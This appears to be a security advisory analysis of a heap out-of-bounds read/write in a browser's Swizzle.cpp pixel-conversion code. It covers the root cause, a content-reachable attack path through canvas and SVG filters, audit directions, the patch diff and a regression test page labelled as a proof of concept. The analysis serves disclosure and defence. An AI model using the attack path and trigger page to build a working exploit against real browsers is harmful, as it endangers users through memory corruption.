CVE-2026-117871
Overview
Background
- Swizzle/premultiply routines
gfx/2d/Swizzle.cppimplements pixel-format conversion (SwizzleData), premultiplication (PremultiplyData) and unpremultiplication (UnpremultiplyData) over 2D image buffers described by a source/destination pointer, a per-row stride (bytes per row, including padding) and anIntSize(width×heightin pixels).- Stride vs. gap
strideis the full byte distance between row starts; the gap (GetStrideGap) is the trailing padding =stride − width·bytesPerPixel. Rows are only “tightly packed” when the gap is zero, and the gap depends on each side’s pixel format, which can differ between source and destination.- `CollapseSize` optimization
- When rows are contiguous with no inter-row gap, the whole image can be processed as a single row of
width·heightpixels, avoiding per-row loop overhead.CollapseSizereturns that collapsedIntSize(area, 1)when collapsing is safe, else the original size. - `CheckedInt32 area`
- The collapse multiplies
width·heightwith overflow checking; only a valid product is collapsed.
Root Cause Analysis
The old CollapseSize(aSize, aSrcStride, aDstStride) decided tight packing from the raw strides with aSrcStride == aDstStride && (aSrcStride & 3) == 0 && aSrcStride / 4 == aSize.width. This hard-codes a 4-bytes-per-pixel assumption (/ 4, & 3) and assumes source and destination share both stride and format. For swizzles the source and destination formats can differ (e.g. a 3-byte vs 4-byte pixel, or differing padding), so aSrcStride / 4 == aSize.width does not actually prove that both the source and destination rows are gap-free. When it wrongly returned IntSize(area, 1), the inner conversion loop then processed width·height pixels as one contiguous run while the real buffer still had per-row padding — reading and writing straight across the inter-row gaps and past the end of the last row, i.e. an out-of-bounds access. Critically, CollapseSize was also called before GetStrideGap validated that the computed gaps were non-negative.
The patch re-expresses the decision in terms of the already-computed, format-aware gaps. PremultiplyData/UnpremultiplyData/SwizzleData now compute srcGap/dstGap via GetStrideGap (which accounts for each side’s bytesPerPixel), reject negative gaps, and only then call the rewritten CollapseSize(aSize, srcGap, dstGap), which collapses only when !aSrcStrideGap && !aDstStrideGap — i.e. when both sides are genuinely tightly packed. This removes the fragile stride arithmetic and the premature call, so the single-row fast path is taken only when it is actually safe. The advisory’s “invalid pointer / Graphics” maps to this out-of-bounds read/write of the pixel buffers.
CollapseSize inferred “tightly packed, no row gaps” from raw stride arithmetic that assumed 4-byte pixels and identical source/destination formats; when that assumption was false the collapsed single-row processing ran width·height pixels contiguously over buffers that still had per-row padding, reading and writing out of bounds.Attack Path
- Reach the swizzle path from content
Attacker drives image/canvas processing that hits
SwizzleData/PremultiplyData/UnpremultiplyData, e.g. via the regression test’s route: a<canvas>2D context with an SVGfilter(feFlood+feTile+feColorMatrix) applied asctx.filter, forcing a format-converting blit. - Choose mismatched formats/strides
Craft the source and destination so their pixel formats differ or the destination stride carries padding, while
srcStride / 4 == widthstill holds for the source — satisfying the old collapse predicate without both rows actually being gap-free. - Trigger collapse
The old
CollapseSizereturnsIntSize(width·height, 1), flattening the image to one row for the conversion loop. - Out-of-bounds traversal
The loop walks
width·heightpixels contiguously, stepping over the inter-row gaps/padding and running past the allocated buffer, reading and/or writing adjacent heap memory. - Primitive A heap out-of-bounds read/write in the graphics (renderer/content) process, bounded by the image dimensions the attacker controls (inferred as controllable via canvas/filter sizing).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifgfx/2d/Swizzle.cpp |
modified |
Files Changed
gfx/2d/Swizzle.cpptesting/web-platform/tests/css/filter-effects/feTile-01.html
Audit Directions
- Other stride/`bytesPerPixel` arithmeticScan
gfx/2d/Swizzle.cppand sibling blit/convert code for remaining/ 4,& 3, orstride == width*4assumptions that bake in a 4-byte pixel or equal src/dst formats. - Fast-path "treat as single row" optimizationsLook across graphics (and image decoders) for other collapse/flatten shortcuts that infer contiguity from stride equality rather than from a computed, format-aware gap.
- Order of validation vs. useReview helpers that compute sizes/offsets before the corresponding bounds/negativity checks run, a pattern this fix corrected by moving
CollapseSizeafter the gap validation. - feTile / filter buffer sizingGiven the WPT reproducer, audit SVG filter primitive buffers (
feTile,feFlood) for stride/format assumptions feeding these routines.
Patch
diff --git a/gfx/2d/Swizzle.cpp b/gfx/2d/Swizzle.cpp
index 09fafcf75f8..5cb49a03faa 100644
--- a/gfx/2d/Swizzle.cpp
+++ b/gfx/2d/Swizzle.cpp
@@ -361,10 +361,9 @@ static void PremultiplyFallback(const uint8_t* aSrc, int32_t aSrcGap,
// If rows are tightly packed, and the size of the total area will fit within
// the precision range of a single row, then process all the data as if it was
// a single row.
-static inline IntSize CollapseSize(const IntSize& aSize, int32_t aSrcStride,
- int32_t aDstStride) {
- if (aSrcStride == aDstStride && (aSrcStride & 3) == 0 &&
- aSrcStride / 4 == aSize.width) {
+static inline IntSize CollapseSize(const IntSize& aSize, int32_t aSrcStrideGap,
+ int32_t aDstStrideGap) {
+ if (!aSrcStrideGap && !aDstStrideGap) {
CheckedInt32 area = CheckedInt32(aSize.width) * CheckedInt32(aSize.height);
if (area.isValid()) {
return IntSize(area.value(), 1);
@@ -390,7 +389,6 @@ bool PremultiplyData(const uint8_t* aSrc, int32_t aSrcStride,
if (aSize.IsEmpty()) {
return true;
}
- IntSize size = CollapseSize(aSize, aSrcStride, aDstStride);
// Find gap from end of row to the start of the next row.
int32_t srcGap = GetStrideGap(aSize.width, aSrcFormat, aSrcStride);
int32_t dstGap = GetStrideGap(aSize.width, aDstFormat, aDstStride);
@@ -398,6 +396,7 @@ bool PremultiplyData(const uint8_t* aSrc, int32_t aSrcStride,
if (srcGap < 0 || dstGap < 0) {
return false;
}
+ IntSize size = CollapseSize(aSize, srcGap, dstGap);
#define FORMAT_CASE_CALL(...) __VA_ARGS__(aSrc, srcGap, aDst, dstGap, size)
@@ -651,7 +650,6 @@ bool UnpremultiplyData(const uint8_t* aSrc, int32_t aSrcStride,
if (aSize.IsEmpty()) {
return true;
}
- IntSize size = CollapseSize(aSize, aSrcStride, aDstStride);
// Find gap from end of row to the start of the next row.
int32_t srcGap = GetStrideGap(aSize.width, aSrcFormat, aSrcStride);
int32_t dstGap = GetStrideGap(aSize.width, aDstFormat, aDstStride);
@@ -659,6 +657,7 @@ bool UnpremultiplyData(const uint8_t* aSrc, int32_t aSrcStride,
if (srcGap < 0 || dstGap < 0) {
return false;
}
+ IntSize size = CollapseSize(aSize, srcGap, dstGap);
#define FORMAT_CASE_CALL(...) __VA_ARGS__(aSrc, srcGap, aDst, dstGap, size)
@@ -1267,7 +1266,6 @@ bool SwizzleData(const uint8_t* aSrc, int32_t aSrcStride,
if (aSize.IsEmpty()) {
return true;
}
- IntSize size = CollapseSize(aSize, aSrcStride, aDstStride);
// Find gap from end of row to the start of the next row.
int32_t srcGap = GetStrideGap(aSize.width, aSrcFormat, aSrcStride);
int32_t dstGap = GetStrideGap(aSize.width, aDstFormat, aDstStride);
@@ -1275,6 +1273,7 @@ bool SwizzleData(const uint8_t* aSrc, int32_t aSrcStride,
if (srcGap < 0 || dstGap < 0) {
return false;
}
+ IntSize size = CollapseSize(aSize, srcGap, dstGap);
#define FORMAT_CASE_CALL(...) __VA_ARGS__(aSrc, srcGap, aDst, dstGap, size)
diff --git a/testing/web-platform/tests/css/filter-effects/feTile-01.html b/testing/web-platform/tests/css/filter-effects/feTile-01.html
new file mode 100644
index 00000000000..9d847cd9935
--- /dev/null
+++ b/testing/web-platform/tests/css/filter-effects/feTile-01.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html>
+<html>
+<title>flood tiles properly</title>
+<link rel="help" href="https://drafts.csswg.org/filter-effects-1/#feTileElement"/>
+<link rel="match" href="reference/green-100x100.html"/>
+<body>
+<div style="width: 100px; height: 100px; background-color: green;"></div>
+<div class="red"></div>
+<canvas id="c" width="16" height="64" style="transform: scale(5, 1);"></canvas>
+<svg width="0" height="0">
+ <filter id="f" x="0" y="0" width="100%" height="100%" filterUnits="userSpaceOnUse" primitiveUnits="userSpaceOnUse"color-interpolation-filters="sRGB">
+ <feFlood flood-color="black" flood-opacity="1" x="0" y="0" width="4" height="64"/>
+ <feTile/>
+ <feColorMatrix type="matrix" values="
+ 0 0 0 0 0
+ 0 0 0 0 0.5
+ 0 0 0 0 0
+ 0 0 0 1 0"/>
+ </filter>
+</svg>
+<style>
+.red {
+ background-color: red;
+ position: absolute;
+ width: 50px;
+ height: 50px;
+ top: 30px;
+ left: 35px;
+}
+canvas {
+ position: absolute;
+ top: 20px;
+ left: 50px;
+}
+</style>
+<script>
+const ctx = document.getElementById('c').getContext('2d');
+ctx.filter = 'url(#f)';
+ctx.fillStyle = 'white';
+ctx.fillRect(0, 0, 16, 64);
+</script>
+</body>
+</html>
Regression Test / PoC
diff --git a/testing/web-platform/tests/css/filter-effects/feTile-01.html b/testing/web-platform/tests/css/filter-effects/feTile-01.html
new file mode 100644
index 00000000000..9d847cd9935
--- /dev/null
+++ b/testing/web-platform/tests/css/filter-effects/feTile-01.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html>
+<html>
+<title>flood tiles properly</title>
+<link rel="help" href="https://drafts.csswg.org/filter-effects-1/#feTileElement"/>
+<link rel="match" href="reference/green-100x100.html"/>
+<body>
+<div style="width: 100px; height: 100px; background-color: green;"></div>
+<div class="red"></div>
+<canvas id="c" width="16" height="64" style="transform: scale(5, 1);"></canvas>
+<svg width="0" height="0">
+ <filter id="f" x="0" y="0" width="100%" height="100%" filterUnits="userSpaceOnUse" primitiveUnits="userSpaceOnUse"color-interpolation-filters="sRGB">
+ <feFlood flood-color="black" flood-opacity="1" x="0" y="0" width="4" height="64"/>
+ <feTile/>
+ <feColorMatrix type="matrix" values="
+ 0 0 0 0 0
+ 0 0 0 0 0.5
+ 0 0 0 0 0
+ 0 0 0 1 0"/>
+ </filter>
+</svg>
+<style>
+.red {
+ background-color: red;
+ position: absolute;
+ width: 50px;
+ height: 50px;
+ top: 30px;
+ left: 35px;
+}
+canvas {
+ position: absolute;
+ top: 20px;
+ left: 50px;
+}
+</style>
+<script>
+const ctx = document.getElementById('c').getContext('2d');
+ctx.filter = 'url(#f)';
+ctx.fillStyle = 'white';
+ctx.fillRect(0, 0, 16, 64);
+</script>
+</body>
+</html>